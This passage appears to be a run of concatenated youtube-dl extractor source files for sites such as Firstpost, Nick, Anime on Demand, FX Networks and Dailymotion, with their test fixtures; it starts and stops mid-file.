            webpage, 'description', default=None) or self._html_search_meta(
            'description', webpage, 'description')
        duration = int_or_none(self._html_search_meta(
            'video:duration', webpage, 'video duration', fatal=False))
        upload_date = unified_strdate(self._html_search_meta(
            'ya:ovs:upload_date', webpage, 'upload date', fatal=False))

        return {
            'id': video_id,
            'thumbnail': item.get('poster') or self._og_search_thumbnail(webpage),
            'title': title,
            'description': description,
            'upload_date': upload_date,
            'duration': int_or_none(duration),
            'formats': formats
        }






from __future__ import unicode_literals

from .common import InfoExtractor


class FirstpostIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?firstpost\.com/[^/]+/.*-(?P<id>[0-9]+)\.html'

    _TEST = {
        'url': 'http://www.firstpost.com/india/india-to-launch-indigenous-aircraft-carrier-monday-1025403.html',
        'md5': 'ee9114957692f01fb1263ed87039112a',
        'info_dict': {
            'id': '1025403',
            'ext': 'mp4',
            'title': 'India to launch indigenous aircraft carrier INS Vikrant today',
            'description': 'md5:feef3041cb09724e0bdc02843348f5f4',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        page = self._download_webpage(url, video_id)

        title = self._html_search_meta('twitter:title', page, 'title', fatal=True)
        description = self._html_search_meta('twitter:description', page, 'title')

        data = self._download_xml(
            'http://www.firstpost.com/getvideoxml-%s.xml' % video_id, video_id,
            'Downloading video XML')

        item = data.find('./playlist/item')
        thumbnail = item.find('./image').text

        formats = [
            {
                'url': details.find('./file').text,
                'format_id': details.find('./label').text.strip(),
                'width': int(details.find('./width').text.strip()),
                'height': int(details.find('./height').text.strip()),
            } for details in item.findall('./source/file_details') if details.find('./file').text
        ]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .mtv import MTVServicesInfoExtractor
from ..compat import compat_urllib_parse_urlencode
from ..utils import update_url_query


class NickIE(MTVServicesInfoExtractor):
    # None of videos on the website are still alive?
    IE_NAME = 'nick.com'
    _VALID_URL = r'https?://(?:www\.)?nick(?:jr)?\.com/(?:videos/clip|[^/]+/videos)/(?P<id>[^/?#.]+)'
    _FEED_URL = 'http://udat.mtvnservices.com/service1/dispatch.htm'
    _TESTS = [{
        'url': 'http://www.nick.com/videos/clip/alvinnn-and-the-chipmunks-112-full-episode.html',
        'playlist': [
            {
                'md5': '6e5adc1e28253bbb1b28ab05403dd4d4',
                'info_dict': {
                    'id': 'be6a17b0-412d-11e5-8ff7-0026b9414f30',
                    'ext': 'mp4',
                    'title': 'ALVINNN!!! and The Chipmunks: "Mojo Missing/Who\'s The Animal" S1',
                    'description': 'Alvin is convinced his mojo was in a cap he gave to a fan, and must find a way to get his hat back before the Chipmunks’ big concert.\nDuring a costume visit to the zoo, Alvin finds himself mistaken for the real Tasmanian devil.',

                }
            },
            {
                'md5': 'd7be441fc53a1d4882fa9508a1e5b3ce',
                'info_dict': {
                    'id': 'be6b8f96-412d-11e5-8ff7-0026b9414f30',
                    'ext': 'mp4',
                    'title': 'ALVINNN!!! and The Chipmunks: "Mojo Missing/Who\'s The Animal" S2',
                    'description': 'Alvin is convinced his mojo was in a cap he gave to a fan, and must find a way to get his hat back before the Chipmunks’ big concert.\nDuring a costume visit to the zoo, Alvin finds himself mistaken for the real Tasmanian devil.',

                }
            },
            {
                'md5': 'efffe1728a234b2b0d2f2b343dd1946f',
                'info_dict': {
                    'id': 'be6cf7e6-412d-11e5-8ff7-0026b9414f30',
                    'ext': 'mp4',
                    'title': 'ALVINNN!!! and The Chipmunks: "Mojo Missing/Who\'s The Animal" S3',
                    'description': 'Alvin is convinced his mojo was in a cap he gave to a fan, and must find a way to get his hat back before the Chipmunks’ big concert.\nDuring a costume visit to the zoo, Alvin finds himself mistaken for the real Tasmanian devil.',
                }
            },
            {
                'md5': '1ec6690733ab9f41709e274a1d5c7556',
                'info_dict': {
                    'id': 'be6e3354-412d-11e5-8ff7-0026b9414f30',
                    'ext': 'mp4',
                    'title': 'ALVINNN!!! and The Chipmunks: "Mojo Missing/Who\'s The Animal" S4',
                    'description': 'Alvin is convinced his mojo was in a cap he gave to a fan, and must find a way to get his hat back before the Chipmunks’ big concert.\nDuring a costume visit to the zoo, Alvin finds himself mistaken for the real Tasmanian devil.',
                }
            },
        ],
    }, {
        'url': 'http://www.nickjr.com/paw-patrol/videos/pups-save-a-goldrush-s3-ep302-full-episode/',
        'only_matching': True,
    }]

    def _get_feed_query(self, uri):
        return compat_urllib_parse_urlencode({
            'feed': 'nick_arc_player_prime',
            'mgid': uri,
        })

    def _extract_mgid(self, webpage):
        return self._search_regex(r'data-contenturi="([^"]+)', webpage, 'mgid')


class NickDeIE(MTVServicesInfoExtractor):
    IE_NAME = 'nick.de'
    _VALID_URL = r'https?://(?:www\.)?nick\.de/(?:playlist|shows)/(?:[^/]+/)*(?P<id>[^/?#&]+)'
    _TESTS = [{
        'url': 'http://www.nick.de/playlist/3773-top-videos/videos/episode/17306-zu-wasser-und-zu-land-rauchende-erdnusse',
        'only_matching': True,
    }, {
        'url': 'http://www.nick.de/shows/342-icarly',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        mrss_url = update_url_query(self._search_regex(
            r'data-mrss=(["\'])(?P<url>http.+?)\1', webpage, 'mrss url', group='url'),
            {'siteKey': 'nick.de'})

        return self._get_videos_info_from_url(mrss_url, video_id)






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class OktoberfestTVIE(InfoExtractor):
    _VALID_URL = r'https?://www\.oktoberfest-tv\.de/[^/]+/[^/]+/video/(?P<id>[^/?#]+)'

    _TEST = {
        'url': 'http://www.oktoberfest-tv.de/de/kameras/video/hb-zelt',
        'info_dict': {
            'id': 'hb-zelt',
            'ext': 'mp4',
            'title': 're:^Live-Kamera: Hofbräuzelt [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
            'thumbnail': 're:^https?://.*\.jpg$',
            'is_live': True,
        },
        'params': {
            'skip_download': True,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = self._live_title(self._html_search_regex(
            r'<h1><strong>.*?</strong>(.*?)</h1>', webpage, 'title'))

        clip = self._search_regex(
            r"clip:\s*\{\s*url:\s*'([^']+)'", webpage, 'clip')
        ncurl = self._search_regex(
            r"netConnectionUrl:\s*'([^']+)'", webpage, 'rtmp base')
        video_url = ncurl + clip
        thumbnail = self._search_regex(
            r"canvas:\s*\{\s*backgroundImage:\s*'url\(([^)]+)\)'", webpage,
            'thumbnail', fatal=False)

        return {
            'id': video_id,
            'title': title,
            'url': video_url,
            'ext': 'mp4',
            'is_live': True,
            'thumbnail': thumbnail,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_urlparse,
    compat_str,
)
from ..utils import (
    determine_ext,
    extract_attributes,
    ExtractorError,
    sanitized_Request,
    urlencode_postdata,
)


class AnimeOnDemandIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?anime-on-demand\.de/anime/(?P<id>\d+)'
    _LOGIN_URL = 'https://www.anime-on-demand.de/users/sign_in'
    _APPLY_HTML5_URL = 'https://www.anime-on-demand.de/html5apply'
    _NETRC_MACHINE = 'animeondemand'
    _TESTS = [{
        # jap, OmU
        'url': 'https://www.anime-on-demand.de/anime/161',
        'info_dict': {
            'id': '161',
            'title': 'Grimgar, Ashes and Illusions (OmU)',
            'description': 'md5:6681ce3c07c7189d255ac6ab23812d31',
        },
        'playlist_mincount': 4,
    }, {
        # Film wording is used instead of Episode, ger/jap, Dub/OmU
        'url': 'https://www.anime-on-demand.de/anime/39',
        'only_matching': True,
    }, {
        # Episodes without titles, jap, OmU
        'url': 'https://www.anime-on-demand.de/anime/162',
        'only_matching': True,
    }, {
        # ger/jap, Dub/OmU, account required
        'url': 'https://www.anime-on-demand.de/anime/169',
        'only_matching': True,
    }, {
        # Full length film, non-series, ger/jap, Dub/OmU, account required
        'url': 'https://www.anime-on-demand.de/anime/185',
        'only_matching': True,
    }]

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return

        login_page = self._download_webpage(
            self._LOGIN_URL, None, 'Downloading login page')

        if '>Our licensing terms allow the distribution of animes only to German-speaking countries of Europe' in login_page:
            self.raise_geo_restricted(
                '%s is only available in German-speaking countries of Europe' % self.IE_NAME)

        login_form = self._form_hidden_inputs('new_user', login_page)

        login_form.update({
            'user[login]': username,
            'user[password]': password,
        })

        post_url = self._search_regex(
            r'<form[^>]+action=(["\'])(?P<url>.+?)\1', login_page,
            'post url', default=self._LOGIN_URL, group='url')

        if not post_url.startswith('http'):
            post_url = compat_urlparse.urljoin(self._LOGIN_URL, post_url)

        request = sanitized_Request(
            post_url, urlencode_postdata(login_form))
        request.add_header('Referer', self._LOGIN_URL)

        response = self._download_webpage(
            request, None, 'Logging in as %s' % username)

        if all(p not in response for p in ('>Logout<', 'href="/users/sign_out"')):
            error = self._search_regex(
                r'<p class="alert alert-danger">(.+?)</p>',
                response, 'error', default=None)
            if error:
                raise ExtractorError('Unable to login: %s' % error, expected=True)
            raise ExtractorError('Unable to log in')

    def _real_initialize(self):
        self._login()

    def _real_extract(self, url):
        anime_id = self._match_id(url)

        webpage = self._download_webpage(url, anime_id)

        if 'data-playlist=' not in webpage:
            self._download_webpage(
                self._APPLY_HTML5_URL, anime_id,
                'Activating HTML5 beta', 'Unable to apply HTML5 beta')
            webpage = self._download_webpage(url, anime_id)

        csrf_token = self._html_search_meta(
            'csrf-token', webpage, 'csrf token', fatal=True)

        anime_title = self._html_search_regex(
            r'(?s)<h1[^>]+itemprop="name"[^>]*>(.+?)</h1>',
            webpage, 'anime name')
        anime_description = self._html_search_regex(
            r'(?s)<div[^>]+itemprop="description"[^>]*>(.+?)</div>',
            webpage, 'anime description', default=None)

        entries = []

        def extract_info(html, video_id, num=None):
            title, description = [None] * 2
            formats = []

            for input_ in re.findall(
                    r'<input[^>]+class=["\'].*?streamstarter_html5[^>]+>', html):
                attributes = extract_attributes(input_)
                playlist_urls = []
                for playlist_key in ('data-playlist', 'data-otherplaylist'):
                    playlist_url = attributes.get(playlist_key)
                    if isinstance(playlist_url, compat_str) and re.match(
                            r'/?[\da-zA-Z]+', playlist_url):
                        playlist_urls.append(attributes[playlist_key])
                if not playlist_urls:
                    continue

                lang = attributes.get('data-lang')
                lang_note = attributes.get('value')

                for playlist_url in playlist_urls:
                    kind = self._search_regex(
                        r'videomaterialurl/\d+/([^/]+)/',
                        playlist_url, 'media kind', default=None)
                    format_id_list = []
                    if lang:
                        format_id_list.append(lang)
                    if kind:
                        format_id_list.append(kind)
                    if not format_id_list and num is not None:
                        format_id_list.append(compat_str(num))
                    format_id = '-'.join(format_id_list)
                    format_note = ', '.join(filter(None, (kind, lang_note)))
                    request = sanitized_Request(
                        compat_urlparse.urljoin(url, playlist_url),
                        headers={
                            'X-Requested-With': 'XMLHttpRequest',
                            'X-CSRF-Token': csrf_token,
                            'Referer': url,
                            'Accept': 'application/json, text/javascript, */*; q=0.01',
                        })
                    playlist = self._download_json(
                        request, video_id, 'Downloading %s playlist JSON' % format_id,
                        fatal=False)
                    if not playlist:
                        continue
                    start_video = playlist.get('startvideo', 0)
                    playlist = playlist.get('playlist')
                    if not playlist or not isinstance(playlist, list):
                        continue
                    playlist = playlist[start_video]
                    title = playlist.get('title')
                    if not title:
                        continue
                    description = playlist.get('description')
                    for source in playlist.get('sources', []):
                        file_ = source.get('file')
                        if not file_:
                            continue
                        ext = determine_ext(file_)
                        format_id_list = [lang, kind]
                        if ext == 'm3u8':
                            format_id_list.append('hls')
                        elif source.get('type') == 'video/dash' or ext == 'mpd':
                            format_id_list.append('dash')
                        format_id = '-'.join(filter(None, format_id_list))
                        if ext == 'm3u8':
                            file_formats = self._extract_m3u8_formats(
                                file_, video_id, 'mp4',
                                entry_protocol='m3u8_native', m3u8_id=format_id, fatal=False)
                        elif source.get('type') == 'video/dash' or ext == 'mpd':
                            continue
                            file_formats = self._extract_mpd_formats(
                                file_, video_id, mpd_id=format_id, fatal=False)
                        else:
                            continue
                        for f in file_formats:
                            f.update({
                                'language': lang,
                                'format_note': format_note,
                            })
                        formats.extend(file_formats)

            return {
                'title': title,
                'description': description,
                'formats': formats,
            }

        def extract_entries(html, video_id, common_info, num=None):
            info = extract_info(html, video_id, num)

            if info['formats']:
                self._sort_formats(info['formats'])
                f = common_info.copy()
                f.update(info)
                entries.append(f)

            # Extract teaser/trailer only when full episode is not available
            if not info['formats']:
                m = re.search(
                    r'data-dialog-header=(["\'])(?P<title>.+?)\1[^>]+href=(["\'])(?P<href>.+?)\3[^>]*>(?P<kind>Teaser|Trailer)<',
                    html)
                if m:
                    f = common_info.copy()
                    f.update({
                        'id': '%s-%s' % (f['id'], m.group('kind').lower()),
                        'title': m.group('title'),
                        'url': compat_urlparse.urljoin(url, m.group('href')),
                    })
                    entries.append(f)

        def extract_episodes(html):
            for num, episode_html in enumerate(re.findall(
                    r'(?s)<h3[^>]+class="episodebox-title".+?>Episodeninhalt<', html), 1):
                episodebox_title = self._search_regex(
                    (r'class="episodebox-title"[^>]+title=(["\'])(?P<title>.+?)\1',
                     r'class="episodebox-title"[^>]+>(?P<title>.+?)<'),
                    episode_html, 'episodebox title', default=None, group='title')
                if not episodebox_title:
                    continue

                episode_number = int(self._search_regex(
                    r'(?:Episode|Film)\s*(\d+)',
                    episodebox_title, 'episode number', default=num))
                episode_title = self._search_regex(
                    r'(?:Episode|Film)\s*\d+\s*-\s*(.+)',
                    episodebox_title, 'episode title', default=None)

                video_id = 'episode-%d' % episode_number

                common_info = {
                    'id': video_id,
                    'series': anime_title,
                    'episode': episode_title,
                    'episode_number': episode_number,
                }

                extract_entries(episode_html, video_id, common_info)

        def extract_film(html, video_id):
            common_info = {
                'id': anime_id,
                'title': anime_title,
                'description': anime_description,
            }
            extract_entries(html, video_id, common_info)

        extract_episodes(webpage)

        if not entries:
            extract_film(webpage, anime_id)

        return self.playlist_result(entries, anime_id, anime_title, anime_description)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import unified_strdate, determine_ext


class RoxwelIE(InfoExtractor):
    _VALID_URL = r'https?://www\.roxwel\.com/player/(?P<filename>.+?)(\.|\?|$)'

    _TEST = {
        'url': 'http://www.roxwel.com/player/passionpittakeawalklive.html',
        'info_dict': {
            'id': 'passionpittakeawalklive',
            'ext': 'flv',
            'title': 'Take A Walk (live)',
            'uploader': 'Passion Pit',
            'uploader_id': 'passionpit',
            'upload_date': '20120928',
            'description': 'Passion Pit performs "Take A Walk\" live at The Backyard in Austin, Texas. ',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        filename = mobj.group('filename')
        info_url = 'http://www.roxwel.com/api/videos/%s' % filename
        info = self._download_json(info_url, filename)

        rtmp_rates = sorted([int(r.replace('flv_', '')) for r in info['media_rates'] if r.startswith('flv_')])
        best_rate = rtmp_rates[-1]
        url_page_url = 'http://roxwel.com/pl_one_time.php?filename=%s&quality=%s' % (filename, best_rate)
        rtmp_url = self._download_webpage(url_page_url, filename, 'Downloading video url')
        ext = determine_ext(rtmp_url)
        if ext == 'f4v':
            rtmp_url = rtmp_url.replace(filename, 'mp4:%s' % filename)

        return {
            'id': filename,
            'title': info['title'],
            'url': rtmp_url,
            'ext': 'flv',
            'description': info['description'],
            'thumbnail': info.get('player_image_url') or info.get('image_url_large'),
            'uploader': info['artist'],
            'uploader_id': info['artistname'],
            'upload_date': unified_strdate(info['dbdate']),
        }






# coding: utf-8
from __future__ import unicode_literals

from .adobepass import AdobePassIE
from ..utils import (
    update_url_query,
    extract_attributes,
    parse_age_limit,
    smuggle_url,
)


class FXNetworksIE(AdobePassIE):
    _VALID_URL = r'https?://(?:www\.)?(?:fxnetworks|simpsonsworld)\.com/video/(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://www.fxnetworks.com/video/719841347694',
        'md5': '1447d4722e42ebca19e5232ab93abb22',
        'info_dict': {
            'id': '719841347694',
            'ext': 'mp4',
            'title': 'Vanpage',
            'description': 'F*ck settling down. You\'re the Worst returns for an all new season August 31st on FXX.',
            'age_limit': 14,
            'uploader': 'NEWA-FNG-FX',
            'upload_date': '20160706',
            'timestamp': 1467844741,
        },
        'add_ie': ['ThePlatform'],
    }, {
        'url': 'http://www.simpsonsworld.com/video/716094019682',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        if 'The content you are trying to access is not available in your region.' in webpage:
            self.raise_geo_restricted()
        video_data = extract_attributes(self._search_regex(
            r'(<a.+?rel="http://link\.theplatform\.com/s/.+?</a>)', webpage, 'video data'))
        player_type = self._search_regex(r'playerType\s*=\s*[\'"]([^\'"]+)', webpage, 'player type', default=None)
        release_url = video_data['rel']
        title = video_data['data-title']
        rating = video_data.get('data-rating')
        query = {
            'mbr': 'true',
        }
        if player_type == 'movies':
            query.update({
                'manifest': 'm3u',
            })
        else:
            query.update({
                'switch': 'http',
            })
        if video_data.get('data-req-auth') == '1':
            resource = self._get_mvpd_resource(
                video_data['data-channel'], title,
                video_data.get('data-guid'), rating)
            query['auth'] = self._extract_mvpd_auth(url, video_id, 'fx', resource)

        return {
            '_type': 'url_transparent',
            'id': video_id,
            'title': title,
            'url': smuggle_url(update_url_query(release_url, query), {'force_smil_url': True}),
            'thumbnail': video_data.get('data-large-thumb'),
            'age_limit': parse_age_limit(rating),
            'ie_key': 'ThePlatform',
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class LocalNews8IE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?localnews8\.com/(?:[^/]+/)*(?P<display_id>[^/]+)/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.localnews8.com/news/rexburg-business-turns-carbon-fiber-scraps-into-wedding-rings/35183304',
        'md5': 'be4d48aea61aa2bde7be2ee47691ad20',
        'info_dict': {
            'id': '35183304',
            'display_id': 'rexburg-business-turns-carbon-fiber-scraps-into-wedding-rings',
            'ext': 'mp4',
            'title': 'Rexburg business turns carbon fiber scraps into wedding ring',
            'description': 'The process was first invented by Lamborghini and less than a dozen companies around the world use it.',
            'duration': 153,
            'timestamp': 1441844822,
            'upload_date': '20150910',
            'uploader_id': 'api',
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        webpage = self._download_webpage(url, display_id)

        partner_id = self._search_regex(
            r'partnerId\s*[:=]\s*(["\'])(?P<id>\d+)\1',
            webpage, 'partner id', group='id')
        kaltura_id = self._search_regex(
            r'videoIdString\s*[:=]\s*(["\'])kaltura:(?P<id>[0-9a-z_]+)\1',
            webpage, 'videl id', group='id')

        return {
            '_type': 'url_transparent',
            'url': 'kaltura:%s:%s' % (partner_id, kaltura_id),
            'ie_key': 'Kaltura',
            'id': video_id,
            'display_id': display_id,
        }






from __future__ import unicode_literals

import re

from .nuevo import NuevoBaseIE


class LoveHomePornIE(NuevoBaseIE):
    _VALID_URL = r'https?://(?:www\.)?lovehomeporn\.com/video/(?P<id>\d+)(?:/(?P<display_id>[^/?#&]+))?'
    _TEST = {
        'url': 'http://lovehomeporn.com/video/48483/stunning-busty-brunette-girlfriend-sucking-and-riding-a-big-dick#menu',
        'info_dict': {
            'id': '48483',
            'display_id': 'stunning-busty-brunette-girlfriend-sucking-and-riding-a-big-dick',
            'ext': 'mp4',
            'title': 'Stunning busty brunette girlfriend sucking and riding a big dick',
            'age_limit': 18,
            'duration': 238.47,
        },
        'params': {
            'skip_download': True,
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        info = self._extract_nuevo(
            'http://lovehomeporn.com/media/nuevo/config.php?key=%s' % video_id,
            video_id)
        info.update({
            'display_id': display_id,
            'age_limit': 18
        })
        return info






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    qualities,
    unified_strdate,
)


class MgoonIE(InfoExtractor):
    _VALID_URL = r'''(?x)https?://(?:www\.)?
    (?:(:?m\.)?mgoon\.com/(?:ch/(?:.+)/v|play/view)|
        video\.mgoon\.com)/(?P<id>[0-9]+)'''
    _API_URL = 'http://mpos.mgoon.com/player/video?id={0:}'
    _TESTS = [
        {
            'url': 'http://m.mgoon.com/ch/hi6618/v/5582148',
            'md5': 'dd46bb66ab35cf6d51cc812fd82da79d',
            'info_dict': {
                'id': '5582148',
                'uploader_id': 'hi6618',
                'duration': 240.419,
                'upload_date': '20131220',
                'ext': 'mp4',
                'title': 'md5:543aa4c27a4931d371c3f433e8cebebc',
                'thumbnail': 're:^https?://.*\.jpg$',
            }
        },
        {
            'url': 'http://www.mgoon.com/play/view/5582148',
            'only_matching': True,
        },
        {
            'url': 'http://video.mgoon.com/5582148',
            'only_matching': True,
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        data = self._download_json(self._API_URL.format(video_id), video_id)

        if data.get('errorInfo', {}).get('code') != 'NONE':
            raise ExtractorError('%s encountered an error: %s' % (
                self.IE_NAME, data['errorInfo']['message']), expected=True)

        v_info = data['videoInfo']
        title = v_info.get('v_title')
        thumbnail = v_info.get('v_thumbnail')
        duration = v_info.get('v_duration')
        upload_date = unified_strdate(v_info.get('v_reg_date'))
        uploader_id = data.get('userInfo', {}).get('u_alias')
        if duration:
            duration /= 1000.0

        age_limit = None
        if data.get('accessInfo', {}).get('code') == 'VIDEO_STATUS_ADULT':
            age_limit = 18

        formats = []
        get_quality = qualities(['360p', '480p', '720p', '1080p'])
        for fmt in data['videoFiles']:
            formats.append({
                'format_id': fmt['label'],
                'quality': get_quality(fmt['label']),
                'url': fmt['url'],
                'ext': fmt['format'],

            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'thumbnail': thumbnail,
            'duration': duration,
            'upload_date': upload_date,
            'uploader_id': uploader_id,
            'age_limit': age_limit,
        }






# coding: utf-8
from __future__ import unicode_literals

import re
import json
import itertools

from .common import InfoExtractor

from ..utils import (
    determine_ext,
    error_to_compat_str,
    ExtractorError,
    int_or_none,
    parse_iso8601,
    sanitized_Request,
    str_to_int,
    unescapeHTML,
    mimetype2ext,
)


class DailymotionBaseInfoExtractor(InfoExtractor):
    @staticmethod
    def _build_request(url):
        """Build a request with the family filter disabled"""
        request = sanitized_Request(url)
        request.add_header('Cookie', 'family_filter=off; ff=off')
        return request

    def _download_webpage_handle_no_ff(self, url, *args, **kwargs):
        request = self._build_request(url)
        return self._download_webpage_handle(request, *args, **kwargs)

    def _download_webpage_no_ff(self, url, *args, **kwargs):
        request = self._build_request(url)
        return self._download_webpage(request, *args, **kwargs)


class DailymotionIE(DailymotionBaseInfoExtractor):
    _VALID_URL = r'(?i)(?:https?://)?(?:(www|touch)\.)?dailymotion\.[a-z]{2,3}/(?:(?:embed|swf|#)/)?video/(?P<id>[^/?_]+)'
    IE_NAME = 'dailymotion'

    _FORMATS = [
        ('stream_h264_ld_url', 'ld'),
        ('stream_h264_url', 'standard'),
        ('stream_h264_hq_url', 'hq'),
        ('stream_h264_hd_url', 'hd'),
        ('stream_h264_hd1080_url', 'hd180'),
    ]

    _TESTS = [
        {
            'url': 'https://www.dailymotion.com/video/x2iuewm_steam-machine-models-pricing-listed-on-steam-store-ign-news_videogames',
            'md5': '2137c41a8e78554bb09225b8eb322406',
            'info_dict': {
                'id': 'x2iuewm',
                'ext': 'mp4',
                'title': 'Steam Machine Models, Pricing Listed on Steam Store - IGN News',
                'description': 'Several come bundled with the Steam Controller.',
                'thumbnail': 're:^https?:.*\.(?:jpg|png)$',
                'duration': 74,
                'timestamp': 1425657362,
                'upload_date': '20150306',
                'uploader': 'IGN',
                'uploader_id': 'xijv66',
                'age_limit': 0,
                'view_count': int,
                'comment_count': int,
            }
        },
        # Vevo video
        {
            'url': 'http://www.dailymotion.com/video/x149uew_katy-perry-roar-official_musi',
            'info_dict': {
                'title': 'Roar (Official)',
                'id': 'USUV71301934',
                'ext': 'mp4',
                'uploader': 'Katy Perry',
                'upload_date': '20130905',
            },
            'params': {
                'skip_download': True,
            },
            'skip': 'VEVO is only available in some countries',
        },
        # age-restricted video
        {
            'url': 'http://www.dailymotion.com/video/xyh2zz_leanna-decker-cyber-girl-of-the-year-desires-nude-playboy-plus_redband',
            'md5': '0d667a7b9cebecc3c89ee93099c4159d',
            'info_dict': {
                'id': 'xyh2zz',
                'ext': 'mp4',
                'title': 'Leanna Decker - Cyber Girl Of The Year Desires Nude [Playboy Plus]',
                'uploader': 'HotWaves1012',
                'age_limit': 18,
            }
        },
        # geo-restricted, player v5
        {
            'url': 'http://www.dailymotion.com/video/xhza0o',
            'only_matching': True,
        },
        # with subtitles
        {
            'url': 'http://www.dailymotion.com/video/x20su5f_the-power-of-nightmares-1-the-rise-of-the-politics-of-fear-bbc-2004_news',
            'only_matching': True,
        },
        {
            'url': 'http://www.dailymotion.com/swf/video/x3n92nf',
            'only_matching': True,
        }
    ]

    @staticmethod
    def _extract_urls(webpage):
        # Look for embedded Dailymotion player
        matches = re.findall(
            r'<(?:(?:embed|iframe)[^>]+?src=|input[^>]+id=[\'"]dmcloudUrlEmissionSelect[\'"][^>]+value=)(["\'])(?P<url>(?:https?:)?//(?:www\.)?dailymotion\.com/(?:embed|swf)/video/.+?)\1', webpage)
        return list(map(lambda m: unescapeHTML(m[1]), matches))

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage_no_ff(
            'https://www.dailymotion.com/video/%s' % video_id, video_id)

        age_limit = self._rta_search(webpage)

        description = self._og_search_description(webpage) or self._html_search_meta(
            'description', webpage, 'description')

        view_count_str = self._search_regex(
            (r'<meta[^>]+itemprop="interactionCount"[^>]+content="UserPlays:([\s\d,.]+)"',
             r'video_views_count[^>]+>\s+([\s\d\,.]+)'),
            webpage, 'view count', fatal=False)
        if view_count_str:
            view_count_str = re.sub(r'\s', '', view_count_str)
        view_count = str_to_int(view_count_str)
        comment_count = int_or_none(self._search_regex(
            r'<meta[^>]+itemprop="interactionCount"[^>]+content="UserComments:(\d+)"',
            webpage, 'comment count', fatal=False))

        player_v5 = self._search_regex(
            [r'buildPlayer\(({.+?})\);\n',  # See https://github.com/rg3/youtube-dl/issues/7826
             r'playerV5\s*=\s*dmp\.create\([^,]+?,\s*({.+?})\);',
             r'buildPlayer\(({.+?})\);'],
            webpage, 'player v5', default=None)
        if player_v5:
            player = self._parse_json(player_v5, video_id)
            metadata = player['metadata']

            self._check_error(metadata)

            formats = []
            for quality, media_list in metadata['qualities'].items():
                for media in media_list:
                    media_url = media.get('url')
                    if not media_url:
                        continue
                    type_ = media.get('type')
                    if type_ == 'application/vnd.lumberjack.manifest':
                        continue
                    ext = mimetype2ext(type_) or determine_ext(media_url)
                    if ext == 'm3u8':
                        formats.extend(self._extract_m3u8_formats(
                            media_url, video_id, 'mp4', preference=-1,
                            m3u8_id='hls', fatal=False))
                    elif ext == 'f4m':
                        formats.extend(self._extract_f4m_formats(
                            media_url, video_id, preference=-1, f4m_id='hds', fatal=False))
                    else:
                        f = {
                            'url': media_url,
                            'format_id': 'http-%s' % quality,
                            'ext': ext,
                        }
                        m = re.search(r'H264-(?P<width>\d+)x(?P<height>\d+)', media_url)
                        if m:
                            f.update({
                                'width': int(m.group('width')),
                                'height': int(m.group('height')),
                            })
                        formats.append(f)
            self._sort_formats(formats)

            title = metadata['title']
            duration = int_or_none(metadata.get('duration'))
            timestamp = int_or_none(metadata.get('created_time'))
            thumbnail = metadata.get('poster_url')
            uploader = metadata.get('owner', {}).get('screenname')
            uploader_id = metadata.get('owner', {}).get('id')

            subtitles = {}
            subtitles_data = metadata.get('subtitles', {}).get('data', {})
            if subtitles_data and isinstance(subtitles_data, dict):
                for subtitle_lang, subtitle in subtitles_data.items():
                    subtitles[subtitle_lang] = [{
                        'ext': determine_ext(subtitle_url),
                        'url': subtitle_url,
                    } for subtitle_url in subtitle.get('urls', [])]

            return {
                'id': video_id,
                'title': title,
                'description': description,
                'thumbnail': thumbnail,
                'duration': duration,
                'timestamp': timestamp,
                'uploader': uploader,
                'uploader_id': uploader_id,
                'age_limit': age_limit,
                'view_count': view_count,
                'comment_count': comment_count,
                'formats': formats,
                'subtitles': subtitles,
            }

        # vevo embed
        vevo_id = self._search_regex(
            r'<link rel="video_src" href="[^"]*?vevo.com[^"]*?video=(?P<id>[\w]*)',
            webpage, 'vevo embed', default=None)
        if vevo_id:
            return self.url_result('vevo:%s' % vevo_id, 'Vevo')

        # fallback old player
        embed_page = self._download_webpage_no_ff(
            'https://www.dailymotion.com/embed/video/%s' % video_id,
            video_id, 'Downloading embed page')

        timestamp = parse_iso8601(self._html_search_meta(
            'video:release_date', webpage, 'upload date'))

        info = self._parse_json(
            self._search_regex(
                r'var info = ({.*?}),$', embed_page,
                'video info', flags=re.MULTILINE),
            video_id)

        self._check_error(info)

        formats = []
        for (key, format_id) in self._FORMATS:
            video_url = info.get(key)
            if video_url is not None:
                m_size = re.search(r'H264-(\d+)x(\d+)', video_url)
                if m_size is not None:
                    width, height = map(int_or_none, (m_size.group(1), m_size.group(2)))
                else:
                    width, height = None, None
                formats.append({
                    'url': video_url,
                    'ext': 'mp4',
                    'format_id': format_id,
                    'width': width,
                    'height': height,
                })
        self._sort_formats(formats)

        # subtitles
        video_subtitles = self.extract_subtitles(video_id, webpage)

